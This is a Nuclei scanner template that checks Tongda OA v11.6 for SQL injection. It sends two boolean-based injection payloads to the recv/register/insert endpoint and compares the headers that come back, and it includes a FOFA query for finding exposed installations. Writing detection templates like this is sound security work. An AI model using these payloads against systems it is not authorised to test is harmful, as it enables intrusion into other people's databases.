id: tongda-insert-sqli

info:
  name: Tongda OA v11.6 Insert Parameter - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    Tongda OA v11.6 insert parameters contain SQL injection vulnerabilities, through which attackers can obtain sensitive database information
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: tongda2000
    product: office_anywhere
    fofa-query: app="TDXK-通达OA"
  tags: tongda,sqli,intrusive,vuln

http:
  - raw:
      - |
        POST /general/document/index.php/recv/register/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
      - |
        POST /general/document/index.php/recv/register/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))>128,1,710)))# =1&_SERVER=

    matchers-condition: and
    matchers:
      - type: word
        part: header_1
        words:
          - "PHPSESSID="
          - "register_for/?rid="
        condition: and

      - type: word
        part: header_2
        words:
          - "register_for/?rid="
        negative: true
# digest: 4b0a00483046022100a20f36821d8cc53b7911a4a3509f1c11fe2cb7b73426b83e8edb0f13322f946b02210085bc751a47cfbc97fc4b986b7c77c7a0de0daa00199c805b8768f272ec8c3c45:922c64590222798bb761d5b6d8e72950